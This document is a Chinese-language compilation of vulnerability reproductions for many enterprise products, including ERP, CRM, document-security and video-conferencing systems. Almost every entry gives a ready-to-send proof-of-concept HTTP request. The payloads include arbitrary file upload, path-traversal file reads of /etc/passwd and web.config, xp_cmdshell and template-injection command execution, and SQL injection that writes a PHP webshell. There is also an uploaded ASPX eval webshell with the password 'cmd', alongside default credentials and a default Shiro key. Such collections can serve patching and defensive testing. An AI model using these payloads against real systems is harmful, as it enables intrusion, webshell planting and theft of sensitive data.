明源云
ERP系统 接口管家 ApiUpdate.ashx 任意文件上传漏洞
漏洞描述
明源云 ERP系统接口管家 ApiUpdate.ashx 文件存在任意文件上传漏洞,攻击者通过构造特殊的ZIP压缩包可以上传任意文件,控制服务器
漏洞影响
网络测绘
漏洞复现
登录页面
漏洞存在于某端口下的接口管家服务
验证POC
POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
Host:
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856
{{hexdec(504B030414000000080063740E576AE37B2383000000940000001D0000002E2E2F2E2E2F2E2E2F666463636C6F75642F5F2F746573742E6173707825CC490AC2401404D0BDA7685A02C9A62F90288A22041C42E2B0FE4A11033DD983E0EDFDE2AEA8575453AC444723C49EEC98392CE4662E45B16C185AE35D48E24806D1D3836DF8C404A3DAD37F227A066723D42D4C09A53C23A66BD65656F56ED2505B68703F20BC11D4817C47E959F678651EAA4BD06A7D8F4EE7841F5455CDB7B32F504B0102140314000000080063740E576AE37B2383000000940000001D00000000000000000000008001000000002E2E2F2E2E2F2E2E2F666463636C6F75642F5F2F746573742E61737078504B050600000000010001004B000000BE0000000000)}}
/fdccloud/_/test.aspx
七牛云
七牛云 logkit log_path 任意文件读取漏洞
漏洞描述
七牛云 logkit log_path 参数可自定义读取服务器文件,配合读取的文件写入Web目录将会使攻击者读取到服务器任意文件,造成服务器敏感信息泄漏
漏洞影响
网络测绘
漏洞复现
主页面
发送请求包配置读取文件
PUT /logkit/configs/passwdread HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 356
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
{
"name": "passwdread",
"batch_interval": 1,
"collect_interval": 1,
"reader": {
"mode": "file",
"log_path": "/etc/passwd",
"read_from": "oldest",
"datasource_tag": "datasource",
"encoding": "UTF-8"
},
"parser": {
"type": "raw",
"name": "parser",
"timestamp": "true"
},
"transforms": [],
"senders": [
{
"sender_type": "file",
"file_send_path": "/app/public/passwd.log"
}
]
}
请求读取的文件 /app/public 目录为Docker默认Web路径,写入可读取目标文件
企望
企望制造 ERP comboxstore.action 远程命令执行漏洞
漏洞描述
企望制造 ERP comboxstore.action接口存在远程命令执行漏洞,攻击者通过漏洞可以获取服务器权限,执行任意命令
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /mainFunctions/comboxstore.action HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host:
comboxsql=exec%20xp_cmdshell%20'type%20C:\Windows\Win.ini'
任我行
任我行 CRM SmsDataList SQL注入漏洞
漏洞描述
任我行 CRM SmsDataList 接口存在SQL注入漏洞,攻击者通过漏洞可以执行任意数据库语句,获取敏感信息
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /SMS/SmsDataList/?pageIndex=1&pageSize=30 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host:
Keywords=&StartSendDate=2020-06-17&EndSendDate=2020-09-17&SenderTypeId=0000000000' and 1=convert(int,(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','123456')))) AND 'CvNI'='CvNI
瑞友
应用虚拟化系统 GetBSAppUrl SQL注入漏洞
漏洞描述
瑞友 应用虚拟化系统 GetBSAppUrl方法存在SQL注入漏洞,由于参数传入没有进行过滤导致存在SQL注入,攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
登陆页面
在 GetBSAppUrl 方法中存在SQL注入漏洞,通过漏洞可以写入Webshell文件
验证POC
/index.php?s=/Agent/GetBSAppUrl/AppID/')%3bselect+0x3c3f70687020706870696e666f28293b3f3e+into+outfile+%27C%3a\\Program+Files+(x86)\\RealFriend\\Rap+Server\\WebRoot\\test7.php%27%23/123
/test7.php
若依
CNVD-2021-01931
若依管理系统 后台任意文件读取
漏洞描述
若依管理系统是基于SpringBoot的权限管理系统,登录后台后可以读取服务器上的任意文件
漏洞影响
网络测绘
漏洞复现
登录后台后访问 Url
/common/download/resource?resource=/profile/../../../../etc/passwd
访问后会下载文件 /etc/passwd
可以使用Burp抓包改变 /etc/passwd
为其他文件路径获取敏感信息
在新版本的修复中添加了过滤
拓尔思
拓尔思 MAS testCommandExecutor.jsp 远程命令执行漏洞
漏洞描述
拓尔思 MAS testCommandExecutor.jsp测试文件存在远程命令执行漏洞,当网站运维者未删除测试文件时,攻击者通过漏洞可以获取服务器权限
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
/mas/front/vod/main.do?method=newList&view=forward:/sysinfo/testCommandExecutor.jsp&cmdLine=dir&workDir=&pathEnv=&libPathEnv=
腾讯
企业微信 agentinfo 信息泄漏漏洞
漏洞描述
腾讯 企业微信 agentinfo 接口存在信息泄漏漏洞,攻击者通过漏洞可以获取企业微信 Secret
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
/cgi-bin/gateway/agentinfo
霆智科技
霆智科技 VA虚拟应用平台 任意文件读取漏洞
漏洞描述
霆智科技 VA虚拟应用平台 存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中敏感信息
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
图创软件
图书馆站群管理系统 任意文件读取漏洞
漏洞描述
图创软件 图书馆站群管理系统 存在任意文件读取漏洞,攻击者通过漏洞可以读取任意文件
漏洞影响
网络测绘
漏洞复现
登录页面如下
漏洞请求包为
GET /interlib/report/ShowImage?localPath=C:\Windows\system.ini HTTP/1.1
Host:
Content-Length: 4
成功读取 system.ini
文件
新开普
前置服务管理平台 service.action 远程命令执行漏洞
漏洞描述
新开普 前置服务管理平台 service.action 接口存在远程命令执行漏洞,攻击者通过漏洞可以获取服务器权限
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /service_transport/service.action HTTP/1.1
Host:
Accept: */*
Content-Type: application/json
{"command":"GetFZinfo","UnitCode":"<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo Test > ./webapps/ROOT/Test.txt\")}"}
信诺瑞得
信诺瑞得 WiseGrid慧敏应用交付网关 sysadmin_action.php 后台命令执行漏洞
漏洞描述
信诺瑞得 WiseGrid慧敏应用交付网关 sysadmin_action.php 对应的ping功能存在后台命令执行漏洞,通过默认口令可以获取系统权限
漏洞影响
网络测绘
漏洞复现
登录页面
默认口令
ssh:root/sinogrid
web: admin/sinogrid
POST /bin/sysadmin_action.php?action=getinfo&operation=ping&destination_value=`id`&ping_count=3&sar_value=3&netstat_value=tcp&interface= HTTP/1.1
Host:
Cookie: PHPSESSID=4510o12llugti8k4f24971rdf2; funcs=NNN; appversion=WiseGrid-V4.2.2R_17322; hbstate=alone; username=admin; passwordmd5=ef9ffdf6c1e2fe91d4e14b30323fb771; role=superadmin; authmode=LOCAL; session_time=1639643323; lang=zh; declaration=1; needSyn=false
Content-Length: 0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Accept: */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Connection: close
星锐蓝海
计费管理系统 debug.php 远程命令执行漏洞
漏洞描述
蓝海卓越计费管理系统 debug.php 存在命令调试页面,导致攻击者可以远程命令执行
漏洞影响
网络测绘
漏洞复现
登录页面如下
漏洞代码
访问 debug.php页面
远程调试命令执行
计费管理系统 download.php 任意文件读取漏洞
漏洞描述
蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通过 ../ 遍历目录可以读取服务器上的敏感文件
漏洞影响
网络测绘
漏洞复现
登录页面如下
出现漏洞的文件为 download.php ,其中 file参数 存在用户可控发送如下请求包
GET /download.php?file=../../../../../etc/passwd HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=qkoqsiilc4dol8s4e9d7ta15g7; mylang=zh_s
Connection: close
亿赛通
亿赛通 电子文档安全管理系统 UploadFileFromClientServiceForClient 任意文件上传漏洞
漏洞描述
亿赛通 电子文档安全管理系统 UploadFileFromClientServiceForClient 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件到服务器中,获取主机权限
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Content-Length: 1
Test
/tttT.jsp
参考链接
银达汇智
智慧综合管理平台 FileDownLoad.aspx 任意文件读取漏洞
漏洞描述
银达汇智 智慧综合管理平台 FileDownLoad.aspx 存在任意文件读取漏洞,通过漏洞攻击者可下载服务器中的任意文件
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
http://xxx.xxx.xxx.xxx/Module/FileManagement/FileDownLoad.aspx?filePath=../../web.config
银达汇智 智慧综合管理平台 FileUp.aspx 任意文件上传漏洞
漏洞描述
银达汇智 智慧综合管理平台 FileDownLoad.aspx 存在任意文件读取漏洞,通过漏洞攻击者可下载服务器中的任意文件
漏洞影响
网络测绘
漏洞复现
登陆页面
文件上传请求包
POST /Module/FileUpPage/FileUp.aspx?orgid=1&type=NNewsContent HTTP/1.1
Host:
Accept-Encoding: identity
Content-Length: 337
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=62907949903a4c499178971c9dab4ad9
--62907949903a4c499178971c9dab4ad9
Content-Disposition: form-data; name="Filedata"; filename="abc.aspx"
Content-Type: image/jpeg
<%@ Page Language="Jscript"%><%Response.Write(FormsAuthentication.HashPasswordForStoringInConfigFile("abc", "MD5").ToLower());eval(Request.Item["cmd"],"unsafe");%>
--62907949903a4c499178971c9dab4ad9--
响应包会返回文件名,上传的目录为
/imgnews/imgcontent/1/xxxxxxxxxx.aspx
出现如图成功上传木马,密码为 cmd
银澎云计算
CNVD-2020-62437
银澎云计算 好视通视频会议系统 任意文件下载
漏洞描述
银澎云计算 好视通视频会议系统 存在任意文件下载,攻击者可以通过漏洞获取敏感信息
漏洞影响
网络测绘
漏洞复现
登录页面如下
漏洞Url为
https://xxx.xxx.xxx.xxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini
云时空ERP
云时空 社会化商业ERP系统 Shiro框架 远程命令执行漏洞
漏洞描述
云时空 社会化商业ERP为 Shiro框架 ,使用了默认的密钥导致了远程命令执行漏洞
漏洞影响
网络测绘
漏洞复现
登录页面
默认密钥为
kPH+bIxk5D2deZiIxcaaaA==
云时空 社会化商业ERP系统 validateLoginName SQL注入漏洞
漏洞描述
云时空 社会化商业ERP系统存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
登录页面
使用SQLmap验证漏洞
sqlmap -u "http://xxx.xxx.xxx.xxx/sys/user/validateLoginName?loginName=admin"
中创视讯
会捷通云视讯 fileDownload 任意文件读取漏洞
漏洞描述
会捷通云视讯 fileDownload 存在任意文件读取漏洞,攻击者通过漏洞可以读取服务器上的任意文件
漏洞影响
网络测绘
漏洞复现
登陆页面如下
发送请求包
POST /fileDownload?action=downloadBackupFile HTTP/1.1
Host:
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
fullPath=%2Fetc%2Fpasswd
会捷通云视讯 list 目录文件泄露漏洞
漏洞描述
会捷通云视讯某个文件 list参数 存在目录文件泄露漏洞,攻击者通过漏洞可以获取一些敏感信息
漏洞影响
网络测绘
漏洞复现
登陆页面如下
访问Url
/him/api/rest/V1.0/system/log/list?filePath=../
会捷通云视讯 登录绕过漏洞
漏洞描述
会捷通云视讯存在登陆绕过漏洞,通过拦截特定的请求包并修改即可获取后台权限
漏洞影响
网络测绘
漏洞复现
登陆页面如下
输入任意账号密码抓包
修改返回包为如下后放包则成功绕过登录
HTTP/1.1 200
Server: Hsengine/1.4.1
Date: Mon, 17 May 2021 16:13:43 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Accept-Ranges: bytes
Vary: Accept-Charset, Accept-Encoding, Accept-Language, Accept
Content-Length: 61
{"token":null,"result":null}
众望网络
众望网络 微议管理系统 后台updatefile.html 任意文件上传漏洞
漏洞描述
众望网络 微议管理系统 后台updatefile.html页面任意文件上传漏洞,攻击者通过漏洞可以上传恶意文件控制服务器
漏洞影响
网络测绘
漏洞复现
登录页面
默认口令 amdin/admin, 服务器更新界面上传PHP文件
访问页面
/Updatefiles/文件名.php
紫光软件
CNVD-2021-41638
紫光档案管理系统 editPass.html SQL注入漏洞
漏洞描述
紫光软件系统有限公司(以下简称“紫光软件”)是中国领先的行业解决方案和IT服务提供商。
紫光电子档案管理系统存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/login/Login/editPass.html?comid=extractvalue(1,concat(char(126),md5(1)))
紫光档案管理系统 upload.html 后台文件上传漏洞
漏洞描述
紫光软件系统有限公司(以下简称“紫光软件”)是中国领先的行业解决方案和IT服务提供商。
紫光电子档案管理系统后台存在文件上传漏洞。攻击者可利用漏洞获取数据库敏感信息。
漏洞影响
网络测绘
漏洞复现
登录页面
使用默认口令登录后台 admin/admin, 发送请求包
POST /System/Cms/upload.html?token=5117e82385cef4c12547fdd4c028b97a1-1 HTTP/1.1
Host:
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 614
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygIRYWNxmDYiZBguT
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="userID"
admin
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="fondsid"
1
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="comid"
1
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="token"
6b79a77180e9ec3a7ca351ebe54641a2
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="files[]"; filename="phpinfo.php"
Content-Type: text/php
<?php phpinfo();?>
------WebKitFormBoundarygIRYWNxmDYiZBguT--
回显路径即为上传成功的文件路径